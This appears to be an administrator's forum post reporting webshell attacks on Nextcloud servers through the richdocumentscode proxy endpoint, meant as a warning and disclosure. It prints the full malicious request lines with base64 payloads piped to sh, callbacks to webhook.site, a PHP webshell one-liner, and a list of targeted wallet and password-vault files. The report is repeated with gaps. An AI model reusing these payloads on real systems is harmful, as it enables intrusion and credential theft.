I'm not sure if this is the right place for this report, but anyway.
We're hosting a bunch of Nextcloud servers with richdocumentscode aka Collabora Online - Built-in CODE Server.
Since yesterday we're experiencing succesful hacks on our systems via richdocumentscode:
-
Server:
139.28.18.122 - - [10/Sep/2026:19:51:52 +0200] "GET /x$(echo${IFS}ZWNobyBQRDl3YUhBZ0pHTTlKRjlIUlZSYkoyTW5YVDgvSjJsa0p6c2daV05vYnlCemFHVnNiRjlsZUdWaktDUmpMaWNnTWo0bU1TY3BPdz09fGJhc2U2NCAtZD5zaHJmNDY0NS5waHA7Y3VybCAtc2ttIDIwIGh0dHBzOi8vd2ViaG9vay5zaXRlLz
Q1MDYwZWQ0LWRlMGItNDExOS04ZjBkLTJhMjc3NmJiZDQxMy9yZjQ2NDUuJCh1bmFtZSAtYXxiYXNlNjR8dHIgLWQgJ1xuJ3x0ciArLyAtX3x0ciAtZCA9KXx8d2dldCAtcSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1UIDIwIC1PLSBodHRwczovL3dlYmhvb2suc2l0ZS80NTA2MGVkNC1kZTBiLTQxMTktOGYwZC0yYTI3NzZiYmQ0MT
MvcmY0NjQ1LiQodW5hbWUgLWF8YmFzZTY0fHRyIC1kICdcbid8dHIgKy8gLV98dHIgLWQgPSl8fGN1cmwgLW0gMjAgaHR0cDovL3dlYmhvb2suc2l0ZS80NTA2MGVkNC1kZTBiLTQxMTktOGYwZC0yYTI3NzZiYmQ0MTMvcmY0NjQ1LnBpbmcgIzA=|base64${IFS}-d|sh)x/../apps/richdocumentscode/proxy.php?status HT
TP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0"
-
Server:
139.28.18.122 - - [11/Sep/2026:09:56:21 +0200] "GET /x$(x=$(echo${IFS}ZWNobyBQRDl3YUhBZ0pHTTlKRjlIUlZSYkoyTW5YVDgvSjJsa0p6c2daV05vYnlCemFHVnNiRjlsZUdWaktDUmpMaWNnTWo0bU1TY3BPdz09fGJhc2U2NCAtZD5zaHhhMzVkMC5waHA7Y3VybCAtc2
ttIDIwIGh0dHBzOi8vd2ViaG9vay5zaXRlLzc3NGNmNWUxLWI1YTQtNDE3NC1hMWFkLTAyNDE4NjEwMjlhMi94YTM1ZDAuJCh1bmFtZSAtYXxiYXNlNjR8dHIgLWQgJ1xuJ3x0ciArLyAtX3x0ciAtZCA9KXx8d2dldCAtcSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1UIDIwIC1PLSBodHRwczovL3dlYmhvb2suc2l0ZS83NzRjZjVlMS
1iNWE0LTQxNzQtYTFhZC0wMjQxODYxMDI5YTIveGEzNWQwLiQodW5hbWUgLWF8YmFzZTY0fHRyIC1kICdcbid8dHIgKy8gLV98dHIgLWQgPSkgIzA=|base64${IFS}-d|sh))x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1" 200 32 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrom
e/126.0"
After Base64 decoding, the payloads attempt to perform the following actions:
Representative behavior; names and callback IDs differ by request
echo '' | base64 -d > shrf4645.php
curl -skm 20 "https://webhook.site//rf4645.$(uname -a | base64||| wget -q --no-check-certificate -T 20 -O -"https://webhook.site//||curl -m 20 "http://webhook.site//rf4645.ping"
The attacker was able to create php-files which are web-shells:
shrf4645.php
shxa35d0.php
The attack explicitly targets:
/apps/richdocumentscode/proxy.php?status
On all the servers the installed apps are:
- richdocumentscode: 26.4.302 (installed 26.4.302)
Observed behavior
The observed requests included the following characteristics:
- Target endpoint: /apps/richdocumentscode/proxy.php?status
- Encoded path traversal: %2e%2e
- Shell command substitution: $(...)
- Whitespace-obfuscation with ${IFS}
- Base64-decoded shell payloads executed through sh
- Repeated checks of generated PHP webshell paths using ?c=id
Observed webshell filenames followed a pattern similar to:
- /apps/richdocumentscode/shx*.php
The recovered PHP payload was:
<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
This provides arbitrary command execution in the context of the web server/PHP process.
Confirmed impact
Multiple independent Nextcloud installations showed the same attack pattern and webshell family.
On one affected system, the webshell was actively used after becoming reachable. The attacker executed discovery commands targeting high-value credential and cryptocurrency-related artifacts, including:
*.kdbx
wallet.dat
keystore.json
bitwarden
1password
.bitcoin
.electrum
.monero
.ethereum
The reviewed HTTP requests did not show explicit commands for archiving, uploading, or exfiltrating files. However, a successful webshell running as the web server account can read or modify everything accessible to that account. Therefore, the confidentiality and integrity of application data and secrets available to the web server account must be treated as potentially affected.
Indicators of compromise
Network and HTTP indicators
139.28.18.122
webhook.site
774cf5e1-b5a4-4174-a1ad-0241861029a2
/apps/richdocumentscode/proxy.php/apps/richdocumentscode/shx*.php
Exploit indicators
"%2e%2e"
"%24%28"
$
(${IFS}base64${IFS}-d|sh
webhook.site
Webshell indicators
"<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');"
Observed filenames included examples such as:
shxa35d0.php
shx5cf91.php
shxd33ce.php
shxf4645.php
One recovered sample had the following SHA-256 hash:
4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562
We have disabled the app for the time till it's fixed.
regards
Heiko
I'm not sure if this is the right place for this report, but anyway.
We're hosting a bunch of Nextcloud servers with richdocumentscode aka Collabora Online - Built-in CODE Server.
Since yesterday we're experiencing succesful hacks on our systems via richdocumentscode:
Server:
139.28.18.122 - - [10/Sep/2026:19:51:52 +0200] "GET /x$(echo${IFS}ZWNobyBQRDl3YUhBZ0pHTTlKRjlIUlZSYkoyTW5YVDgvSjJsa0p6c2daV05vYnlCemFHVnNiRjlsZUdWaktDUmpMaWNnTWo0bU1TY3BPdz09fGJhc2U2NCAtZD5zaHJmNDY0NS5waHA7Y3VybCAtc2ttIDIwIGh0dHBzOi8vd2ViaG9vay5zaXRlLz
Q1MDYwZWQ0LWRlMGItNDExOS04ZjBkLTJhMjc3NmJiZDQxMy9yZjQ2NDUuJCh1bmFtZSAtYXxiYXNlNjR8dHIgLWQgJ1xuJ3x0ciArLyAtX3x0ciAtZCA9KXx8d2dldCAtcSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1UIDIwIC1PLSBodHRwczovL3dlYmhvb2suc2l0ZS80NTA2MGVkNC1kZTBiLTQxMTktOGYwZC0yYTI3NzZiYmQ0MT
MvcmY0NjQ1LiQodW5hbWUgLWF8YmFzZTY0fHRyIC1kICdcbid8dHIgKy8gLV98dHIgLWQgPSl8fGN1cmwgLW0gMjAgaHR0cDovL3dlYmhvb2suc2l0ZS80NTA2MGVkNC1kZTBiLTQxMTktOGYwZC0yYTI3NzZiYmQ0MTMvcmY0NjQ1LnBpbmcgIzA=|base64${IFS}-d|sh)x/../apps/richdocumentscode/proxy.php?status HT
TP/1.1" 200 25 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/126.0"
Server:
139.28.18.122 - - [11/Sep/2026:09:56:21 +0200] "GET /x$(x=$(echo${IFS}ZWNobyBQRDl3YUhBZ0pHTTlKRjlIUlZSYkoyTW5YVDgvSjJsa0p6c2daV05vYnlCemFHVnNiRjlsZUdWaktDUmpMaWNnTWo0bU1TY3BPdz09fGJhc2U2NCAtZD5zaHhhMzVkMC5waHA7Y3VybCAtc2
ttIDIwIGh0dHBzOi8vd2ViaG9vay5zaXRlLzc3NGNmNWUxLWI1YTQtNDE3NC1hMWFkLTAyNDE4NjEwMjlhMi94YTM1ZDAuJCh1bmFtZSAtYXxiYXNlNjR8dHIgLWQgJ1xuJ3x0ciArLyAtX3x0ciAtZCA9KXx8d2dldCAtcSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIC1UIDIwIC1PLSBodHRwczovL3dlYmhvb2suc2l0ZS83NzRjZjVlMS
1iNWE0LTQxNzQtYTFhZC0wMjQxODYxMDI5YTIveGEzNWQwLiQodW5hbWUgLWF8YmFzZTY0fHRyIC1kICdcbid8dHIgKy8gLV98dHIgLWQgPSkgIzA=|base64${IFS}-d|sh))x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1" 200 32 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrom
e/126.0"
After Base64 decoding, the payloads attempt to perform the following actions:
Representative behavior; names and callback IDs differ by request
echo '' | base64 -d > shrf4645.php
curl -skm 20 "https://webhook.site//rf4645.$(uname -a | base64||| wget -q --no-check-certificate -T 20 -O -"https://webhook.site//||curl -m 20 "http://webhook.site//rf4645.ping"
The attacker was able to create php-files which are web-shells:
shrf4645.php
shxa35d0.php
The attack explicitly targets:
/apps/richdocumentscode/proxy.php?status
On all the servers the installed apps are:
Observed behavior
The observed requests included the following characteristics:
Observed webshell filenames followed a pattern similar to:
The recovered PHP payload was:
<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');This provides arbitrary command execution in the context of the web server/PHP process.
Confirmed impact
Multiple independent Nextcloud installations showed the same attack pattern and webshell family.
On one affected system, the webshell was actively used after becoming reachable. The attacker executed discovery commands targeting high-value credential and cryptocurrency-related artifacts, including:
The reviewed HTTP requests did not show explicit commands for archiving, uploading, or exfiltrating files. However, a successful webshell running as the web server account can read or modify everything accessible to that account. Therefore, the confidentiality and integrity of application data and secrets available to the web server account must be treated as potentially affected.
Indicators of compromise
Network and HTTP indicators
Exploit indicators
Webshell indicators
"<?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');"Observed filenames included examples such as:
shxa35d0.php
shx5cf91.php
shxd33ce.php
shxf4645.php
One recovered sample had the following SHA-256 hash:
4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562We have disabled the app for the time till it's fixed.
regards
Heiko